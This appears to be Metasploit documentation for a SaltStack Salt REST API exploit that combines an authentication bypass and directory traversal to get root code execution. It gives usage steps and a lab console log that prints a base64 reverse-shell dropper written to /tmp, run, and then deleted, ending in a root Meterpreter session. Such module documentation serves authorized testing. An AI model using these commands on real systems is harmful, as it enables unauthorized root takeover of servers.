## Vulnerable Application

### Description

This module leverages an authentication bypass and directory traversal
vulnerabilities in Saltstack Salt's REST API to execute commands remotely on
the `master` as the root user.

Every 60 seconds, `salt-master` service performs a maintenance process check
that reloads and executes all the `grains` on the `master`, including [custom
grain
modules](https://docs.saltproject.io/en/latest/topics/grains/#writing-grains)
in the Extension Module directory (see `EXTMODSDIR` [option](#extmodsdir)). So,
this module simply creates a Python script at this location and waits for it to
be executed. The time interval is set to 60 seconds by default but can be
changed in the `master` configuration file with the `loop_interval` option.
Note that, if an administrator executes commands locally on the `master`, the
maintenance process check will also be performed.

It has been fixed in the following installation packages: 3002.5, 3001.6 and
3000.8

Also, a patch is available for the following versions: 3002.2, 3001.4, 3000.6,
2019.2.8, 2019.2.5, 2018.3.5, 2017.7.8, 2016.11.10, 2016.11.6, 2016.11.5,
2016.11.3, 2016.3.8, 2016.3.6, 2016.3.4, 2015.8.13 and 2015.8.10

This module has been tested successfully against versions 3001.4, 3002 and
3002.2 on Ubuntu 18.04

### Setup

Follow the [installation steps](https://repo.saltstack.com/#ubuntu) for Ubuntu
(or choose another OS from the same page) and the REST API
[setup instructions](https://docs.saltproject.io/en/latest/ref/netapi/all/salt.netapi.rest_cherrypy.html).

## Verification Steps

1. Install the application (follow [Setup](#setup))
1. Start msfconsole
1. Do: `use exploit/linux/http/saltstack_salt_wheel_async_rce`
1. Do: `set rhosts <ip>`
1. Do: `set lhost <ip>`
1. Do: `run`
1. You should get a Meterpreter session.

## Targets

### 0 (Unix Command)

This executes a Unix command.

### 1 (Linux Dropper)

This uses a Linux dropper to execute code.

## Options

### TARGETURI

The base path of the Saltstack Salt application, which is set to `/` by
default.

### EXTMODSDIR

The Extension Module directory ("extmods") for the `master`. On older versions,
this directory was `/var/cache/salt/extmods` by default. It has been moved to
`/var/cache/salt/master/extmods` from version `2016.3.0` and is the default
option value. Note that this path can be customized in the `master`
configuration file with the `extension_modules` option. The Python file will be
placed in the `grains` directory under this path. Salt automatically creates
the sub-directories if they don't exist.

## Scenarios

### SaltStack Salt 3002.2 on Ubuntu 18.04

```
msf6 > use exploit/linux/http/saltstack_salt_wheel_async_rce
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/saltstack_salt_wheel_async_rce) > set rhosts 192.168.144.188
rhosts => 192.168.144.188
msf6 exploit(linux/http/saltstack_salt_wheel_async_rce) > set lhost 192.168.144.1
lhost => 192.168.144.1
msf6 exploit(linux/http/saltstack_salt_wheel_async_rce) > set verbose true
verbose => true
msf6 exploit(linux/http/saltstack_salt_wheel_async_rce) > options

Module options (exploit/linux/http/saltstack_salt_wheel_async_rce):

   Name        Current Setting                 Required  Description
   ----        ---------------                 --------  -----------
   EXTMODSDIR  /var/cache/salt/master/extmods  yes       The Extension Module Directory ("extmods")
   Proxies                                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS      192.168.144.188                 yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT       8000                            yes       The target port (TCP)
   SSL         true                            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI   /                               yes       Base path
   URIPATH                                     no        The URI to use for this exploit (default is random)
   VHOST                                       no        HTTP server virtual host


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.144.1    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   Linux Dropper


msf6 exploit(linux/http/saltstack_salt_wheel_async_rce) > run

[*] Started reverse TCP handler on 192.168.144.1:4444
[*] Executing automatic check (disable AutoCheck to override)
[!] The service is running, but could not be validated. Salt API responded as expected.
[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp
[*] Generated command stager: ["echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAASDH/aglYmbYQSInWTTHJaiJBWrIHDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgARXMCokAFRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g==>>'/tmp/WlZHG.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/ykmTR' < '/tmp/WlZHG.b64' ; chmod +x '/tmp/ykmTR' ; '/tmp/ykmTR' & sleep 2 ; rm -f '/tmp/ykmTR' ; rm -f '/tmp/WlZHG.b64'"]
[*] Executing command: echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAASDH/aglYmbYQSInWTTHJaiJBWrIHDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgARXMCokAFRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g==>>'/tmp/WlZHG.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/ykmTR' < '/tmp/WlZHG.b64' ; chmod +x '/tmp/ykmTR' ; '/tmp/ykmTR' & sleep 2 ; rm -f '/tmp/ykmTR' ; rm -f '/tmp/WlZHG.b64'
[*] Waiting up to 90 seconds for the Salt maintenance process check to trigger the payload (WfsDelay option).
[*] Command Stager progress - 102.16% done (851/833 bytes)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3008420 bytes) to 192.168.144.188
[+] Deleted /var/cache/salt/master/extmods/grains/lUhZUGix.py
[+] Deleted /var/cache/salt/master/extmods/grains/__pycache__/lUhZUGix.cpython-36.pyc
[*] Meterpreter session 1 opened (192.168.144.1:4444 -> 192.168.144.188:42792) at 2021-03-26 14:58:16 +0100

meterpreter > getuid
Server username: root @ ubuntu (uid=0, gid=0, euid=0, egid=0)
meterpreter > sysinfo
Computer     : 192.168.144.188
OS           : Ubuntu 18.04 (Linux 5.4.0-70-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
```
